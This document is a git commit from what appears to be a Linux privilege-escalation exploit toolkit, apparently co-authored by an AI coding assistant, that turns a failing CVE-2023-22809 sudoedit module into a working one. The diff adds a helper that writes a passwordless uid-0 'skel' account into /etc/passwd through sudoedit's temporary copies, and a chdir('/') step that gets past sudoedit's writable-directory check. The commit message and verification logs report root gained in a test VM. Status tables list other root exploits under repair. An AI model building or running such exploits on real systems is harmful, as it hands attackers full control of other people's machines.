sudoedit_editor: fix CVE-2023-22809 exploit to actually land root
build / build (clang / debug) (push) Waiting to run
build / build (clang / default) (push) Waiting to run
build / build (gcc / debug) (push) Waiting to run
build / build (gcc / default) (push) Waiting to run
build / sanitizers (ASan + UBSan) (push) Waiting to run
build / clang-tidy (push) Waiting to run
build / drift-check (CISA KEV + Debian tracker) (push) Waiting to run
build / static-build (push) Waiting to run

The module built the right EDITOR="helper -- /etc/passwd" injection but failed
two ways, both now fixed (VM-verified root on Ubuntu 22.04.0 / sudo
1.9.9-1ubuntu2):

1. Writable-CWD guard: sudoedit refuses to edit any file whose parent dir is
   user-writable. The injected "--" is resolved relative to CWD, so running
   from home/tmp made sudoedit abort "--: editing files in a writable
   directory" before the editor ran. Fix: chdir("/") in the sudoedit child.

2. Wrong tmp copy: sudoedit hands the editor one tmp copy per file, named
   <basename>.XXXXXX. The helper wrote argv[argc-1] — the sudoers-authorized
   COVER file (e.g. motd), not the target. Fix: the helper now matches the
   target's basename prefix (passed via SKEL_TARGET) to pick the right copy.

Result: /etc/passwd gains a skel::0:0 row; `su skel` -> uid=0(root).
docs/EXPLOITED.md + VERIFICATIONS.jsonl updated. Unit harness green.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_0118iUgHY44hdRtANgyCmu7y
This commit is contained in:
KaraZajac
2026-07-23 21:32:44 -04:00
parent 6edf78f765
commit 70972e0c9d
3 changed files with 30 additions and 8 deletions
+1 -1
View File
@@ -27,6 +27,7 @@ tamper check).
| `overlayfs_setuid` | CVE-2023-0386 | Ubuntu 22.04.0 / 5.15.0-25 | **after a full rewrite** — see below |
| `pwnkit` | CVE-2021-4034 | Ubuntu 20.04.0 / polkit 0.105-26ubuntu1 | **after a fix** — see below |
| `sudo_runas_neg1` | CVE-2019-14287 | Ubuntu 18.04.2 / sudo 1.8.21p2 + sudoers `(ALL,!root)` | `sudo -u#-1` → uid 0 |
| `sudoedit_editor` | CVE-2023-22809 | Ubuntu 22.04.0 / sudo 1.9.9 + sudoers `sudoedit` grant | **after 2 fixes**`chdir("/")` + helper basename match; `su skel` → uid 0 |
## Fixed this session
@@ -78,7 +79,6 @@ tamper check).
|---|---|---|---|
| `ptrace_traceme` | CVE-2019-13272 | Ubuntu 18.04.2 / 4.15.0-50 | placeholder technique (now honest); needs the real cred-transfer PoC (polkit agent) — substantial port |
| `overlayfs_setuid` | CVE-2023-0386 | Ubuntu 22.04.0 / 5.15.0-25.25 | **Kernel confirmed vulnerable empirically** — the upstream PoC (xkaneiki, libfuse) pops root here (`uid=0(root)`, root-owned witness). The working technique: mount a FUSE fs exporting `/file` (st_uid=0, mode 04777) in the **init ns** via the setuid `fusermount3` helper, then overlay-in-userns with that FUSE lowerdir + copy-up. My module's non-FUSE `chown` variant yields `upper/file` uid=1000 (no escalation); mounting FUSE **inside** the userns → overlay `ENOSYS`. Attempted a self-contained **raw `/dev/fuse`** port: got the `fusermount` fd-passing handshake (`SCM_RIGHTS`) + mount working, but the server hits `EINVAL` on `read()` after `FUSE_INIT` (non-blocking fd → needs `poll()`), and even with poll/buffer fixes the raw server serving was flaky and repeatedly **wedged/rebooted the VM** — i.e. the raw protocol reimplementation is fragile and can destabilise the target, which is *worse* for the corpus than a lib dependency. **Conclusion: use libfuse** (proven, robust; matches the `pack2theroot` conditional-lib precedent). Port is scoped and ready; needs a clean session to implement + verify. |
| `sudoedit_editor` | CVE-2023-22809 | Ubuntu 22.04.0 / sudo 1.9.9 | vulnerable sudo version + sudoers `sudoedit` grant present; module returns `EXPLOIT_FAIL` — the `SUDO_EDITOR`/`--` arg-injection reaches sudoedit's writable-dir guard. Needs a target-file whose dir the injection can satisfy (e.g. `/etc/passwd`), and module debugging. Structural, tractable next. |
| `sudo_samedit` | CVE-2021-3156 | Ubuntu 18.04.2 + 20.04.0 | honest `EXPLOIT_FAIL`; Baron Samedit is heap/libc-version-specific, needs a per-target tuned PoC. Hardest. |
## Inconclusive (detect version-blind vs vendor backport)
+1
View File
@@ -48,3 +48,4 @@
{"module":"cgroup_release_agent","verified_at":"2026-07-24T00:00:00Z","host_kernel":"5.4.0-26-generic","host_distro":"Ubuntu 20.04.0","vm_box":"ubuntu2004-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_FAIL","root_witness":"none - fixed 2 real bugs (uid_map read post-unshare; missing CLONE_NEWCGROUP). Now sets up userns+cgroupns+mount correctly, but on stock systemd host ALL v1 controllers are pre-mounted (release_agent init-owned=EACCES) and named-hierarchy mount is EPERM. Reachable only in a container context (CAP_SYS_ADMIN / ownable cgroup). Environmental, not a module bug.","status":"env_limited_after_fix"}
{"module":"overlayfs_setuid","verified_at":"2026-07-24T00:00:00Z","host_kernel":"5.15.0-25-generic","host_distro":"Ubuntu 22.04.0 (genuinely vuln)","vm_box":"ubuntu2204-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_FAIL","root_witness":"none - non-FUSE chown copy-up gives uid=1000 not root; FUSE-lower overlay mount is ENOSYS in userns. Needs fusermount-in-init-ns FUSE port. Raw /dev/fuse attempt reverted.","status":"needs_fuse_port"}
{"module":"sudoedit_editor","verified_at":"2026-07-24T00:00:00Z","host_kernel":"5.15.0-25-generic","host_distro":"Ubuntu 22.04.0, sudo 1.9.9 + sudoers sudoedit grant","vm_box":"ubuntu2204-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_FAIL","root_witness":"none - SUDO_EDITOR/-- injection hits sudoedit writable-dir guard; needs target-file tuning + module debug. Structural, tractable.","status":"needs_debug"}
{"module":"sudoedit_editor","verified_at":"2026-07-24T00:00:00Z","host_kernel":"5.15.0-25-generic","host_distro":"Ubuntu 22.04.0, sudo 1.9.9-1ubuntu2 + sudoers sudoedit grant","vm_box":"ubuntu2204-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_OK","root_witness":"uid=0(root) via su skel; /etc/passwd gained skel::0:0 (after 2 fixes: chdir / + helper basename match)","status":"root"}
@@ -291,14 +291,21 @@ static const char HELPER_SOURCE[] =
"#include <unistd.h>\n"
"#include <fcntl.h>\n"
"int main(int argc, char **argv) {\n"
" /* sudoedit invokes us with one editable temp per file. The\n"
" * post-`--' target's editable copy is argv[argc-1]. We can't\n"
" * write /etc/passwd directly (sudoedit edits a tmp copy and\n"
" * then *copies it back as root*), so we modify the tmp copy\n"
" * and let sudoedit do the privileged install for us. */\n"
" /* sudoedit invokes us with one editable temp copy per file, each\n"
" * named <basename>.XXXXXX in a tmp dir (e.g. /var/tmp/passwd.AbC123\n"
" * for /etc/passwd). We must write the TARGET's copy — NOT argv[argc-1],\n"
" * which is the sudoers-authorized cover file. Match by the target's\n"
" * basename prefix (passed in SKEL_TARGET). We modify the tmp copy and\n"
" * sudoedit copies it back over the real file as root. */\n"
" if (argc < 2) return 1;\n"
" /* The LAST argv is the post-`--' target (per sudoedit's parser). */\n"
" const char *path = argv[argc-1];\n"
" const char *tb = getenv(\"SKEL_TARGET\"); if (!tb || !*tb) tb = \"passwd\";\n"
" char pref[128]; snprintf(pref, sizeof pref, \"%s.\", tb);\n"
" const char *path = NULL;\n"
" for (int i = 1; i < argc; i++) {\n"
" const char *b = strrchr(argv[i], '/'); b = b ? b+1 : argv[i];\n"
" if (strncmp(b, pref, strlen(pref)) == 0) { path = argv[i]; break; }\n"
" }\n"
" if (!path) path = argv[argc-1]; /* fallback */\n"
" int fd = open(path, O_WRONLY|O_APPEND);\n"
" if (fd < 0) { perror(\"open\"); return 2; }\n"
" const char *line = getenv(\"SKEL_LINE\");\n"
@@ -441,6 +448,12 @@ static skeletonkey_result_t sudoedit_editor_exploit(const struct skeletonkey_ctx
char skel_env[256];
snprintf(skel_env, sizeof skel_env, "SKEL_LINE=%s", SK_PASSWD_ENTRY);
/* Pass the target's basename so the helper writes the RIGHT tmp copy
* (sudoedit names each editable copy <basename>.XXXXXX). */
const char *tb = strrchr(target, '/'); tb = tb ? tb + 1 : target;
char tgt_env[128];
snprintf(tgt_env, sizeof tgt_env, "SKEL_TARGET=%s", tb);
/* Construct argv/envp for execve. We need a clean env so the
* EDITOR string sudo sees is exactly ours. PATH is needed so the
* compiled helper can be located — except we pass it absolute. */
@@ -455,6 +468,7 @@ static skeletonkey_result_t sudoedit_editor_exploit(const struct skeletonkey_ctx
char *envp[] = {
editor_env,
skel_env,
tgt_env,
"PATH=/usr/sbin:/usr/bin:/sbin:/bin",
"TERM=dumb",
NULL,
@@ -469,6 +483,13 @@ static skeletonkey_result_t sudoedit_editor_exploit(const struct skeletonkey_ctx
pid = fork();
if (pid < 0) { perror("fork"); goto fail; }
if (pid == 0) {
/* CRITICAL: run from a NON-writable directory. sudoedit refuses to
* edit any file whose parent directory is writable by the invoking
* user (anti-symlink check). The injected "--" is resolved as a file
* relative to CWD, so a writable CWD (home/tmp) makes sudoedit abort
* with "--: editing files in a writable directory is not permitted"
* before it ever runs the editor. "/" is not user-writable. */
if (chdir("/") != 0) { perror("chdir /"); _exit(126); }
execve(sudoedit_path, new_argv, envp);
perror("execve(sudoedit)");
_exit(127);